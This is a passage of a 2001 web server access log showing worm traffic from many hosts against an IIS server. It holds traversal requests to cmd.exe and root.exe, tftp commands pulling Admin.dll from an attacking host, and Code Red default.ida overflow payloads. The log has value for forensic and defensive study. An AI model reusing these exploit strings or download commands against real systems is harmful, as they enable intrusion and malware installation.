  4485. 20010918 15:29:07: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4486. 20010918 15:29:07: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4487. 20010918 15:29:08: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4488. 20010918 15:29:08: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4489. 20010918 15:29:08: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4490. 20010918 15:29:08: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4491. 20010918 15:29:08: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4492. 20010918 15:29:08: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4493. 20010918 15:30:59: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4494. 20010918 15:31:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4495. 20010918 15:31:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4496. 20010918 15:31:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4497. 20010918 15:31:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4498. 20010918 15:31:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4499. 20010918 15:31:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4500. 20010918 15:31:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4501. 20010918 15:31:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4502. 20010918 15:31:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4503. 20010918 15:31:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4504. 20010918 15:31:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4505. 20010918 15:31:01: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4506. 20010918 15:31:01: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4507. 20010918 15:31:02: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4508. 20010918 15:31:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4509. 20010918 15:33:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4510. 20010918 15:33:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4511. 20010918 15:33:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4512. 20010918 15:33:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4513. 20010918 15:33:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4514. 20010918 15:33:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4515. 20010918 15:33:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4516. 20010918 15:33:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4517. 20010918 15:33:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4518. 20010918 15:33:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4519. 20010918 15:33:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4520. 20010918 15:33:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4521. 20010918 15:33:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4522. 20010918 15:33:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4523. 20010918 15:33:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4524. 20010918 15:33:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4525. 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4526. 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4527. 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4528. 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4529. 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4530. 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4531. 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4532. 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4533. 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4534. 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4535. 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4536. 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4537. 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4538. 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4539. 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4540. 20010918 15:34:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4541. 20010918 15:37:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4542. 20010918 15:37:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4543. 20010918 15:37:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4544. 20010918 15:37:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4545. 20010918 15:37:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4546. 20010918 15:37:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4547. 20010918 15:37:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4548. 20010918 15:37:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4549. 20010918 15:37:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4550. 20010918 15:37:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4551. 20010918 15:37:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4552. 20010918 15:37:24: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4553. 20010918 15:37:24: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4554. 20010918 15:37:24: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4555. 20010918 15:37:24: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4556. 20010918 15:37:24: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4557. 20010918 15:39:26: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4558. 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4559. 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4560. 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4561. 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4562. 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4563. 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4564. 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4565. 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4566. 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4567. 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4568. 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4569. 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4570. 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4571. 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4572. 20010918 15:39:27: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4573. 20010918 15:40:33: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4574. 20010918 15:40:33: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4575. 20010918 15:40:33: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4576. 20010918 15:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4577. 20010918 15:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4578. 20010918 15:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4579. 20010918 15:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4580. 20010918 15:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4581. 20010918 15:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4582. 20010918 15:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4583. 20010918 15:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4584. 20010918 15:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4585. 20010918 15:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4586. 20010918 15:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4587. 20010918 15:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4588. 20010918 15:40:34: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4589. 20010918 15:41:12: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4590. 20010918 15:41:12: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4591. 20010918 15:41:12: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4592. 20010918 15:41:12: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4593. 20010918 15:41:12: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4594. 20010918 15:41:12: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4595. 20010918 15:41:12: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4596. 20010918 15:41:12: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4597. 20010918 15:41:12: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4598. 20010918 15:41:13: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4599. 20010918 15:41:13: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4600. 20010918 15:41:13: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4601. 20010918 15:41:13: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4602. 20010918 15:41:13: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4603. 20010918 15:41:13: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4604. 20010918 15:41:13:  [128.164.242.124] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4605. 20010918 15:41:49:  [128.164.242.124] "GET /scripts/root.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  4606. 20010918 15:42:07:  [128.164.242.124] "GET /scripts/Admin.dll HTTP/1.0"
  4607. 20010918 15:42:25:  [128.164.242.124] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4608. 20010918 15:42:43:  [128.164.242.124] "GET /MSADC/root.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  4609. 20010918 15:43:01: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4610. 20010918 15:43:02:  [128.164.242.124] "GET /MSADC/Admin.dll HTTP/1.0"
  4611. 20010918 15:43:20: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4612. 20010918 15:43:20:  [128.164.242.124] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4613. 20010918 15:43:38: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4614. 20010918 15:43:38:  [128.164.242.124] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  4615. 20010918 15:43:57: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4616. 20010918 15:43:57:  [128.164.242.124] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  4617. 20010918 15:44:15: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4618. 20010918 15:44:16:  [128.164.242.124] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  4619. 20010918 15:44:34: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4620. 20010918 15:44:34: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4621. 20010918 15:44:34: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4622. 20010918 15:44:35: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4623. 20010918 15:44:35: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4624. 20010918 15:44:35: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4625. 20010918 15:44:35: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4626. 20010918 15:44:35: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4627. 20010918 15:44:35: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4628. 20010918 15:44:35: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4629. 20010918 15:44:35: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4630. 20010918 15:44:35:  [128.164.242.124] "GET /c/Admin.dll HTTP/1.0"
  4631. 20010918 15:44:55:  [128.164.242.124] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4632. 20010918 15:45:13:  [128.164.242.124] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  4633. 20010918 15:45:31: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  4634. 20010918 15:45:32: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  4635. 20010918 15:45:32:  [128.164.242.124] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  4636. 20010918 15:45:50:  [128.164.242.124] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  4637. 20010918 15:46:08:  [128.164.242.124] "GET /d/Admin.dll HTTP/1.0"
  4638. 20010918 15:46:26:  [128.164.242.124] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4639. 20010918 15:46:44:  [128.164.242.124] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  4640. 20010918 15:47:03:  [128.164.242.124] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  4641. 20010918 15:47:21: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  4642. 20010918 15:47:21:  [128.164.242.124] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  4643. 20010918 15:47:42:  [128.164.242.124] "GET /scripts/..%255c../Admin.dll HTTP/1.0"
  4644. 20010918 15:48:00:  [128.164.242.124] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4645. 20010918 15:48:19:  [128.164.242.124] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  4646. 20010918 15:48:37:  [128.164.242.124] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  4647. 20010918 15:48:55:  [128.164.242.124] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  4648. 20010918 15:49:13:  [128.164.242.124] "GET /_vti_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0"
  4649. 20010918 15:49:31:  [128.164.242.124] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4650. 20010918 15:49:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0"
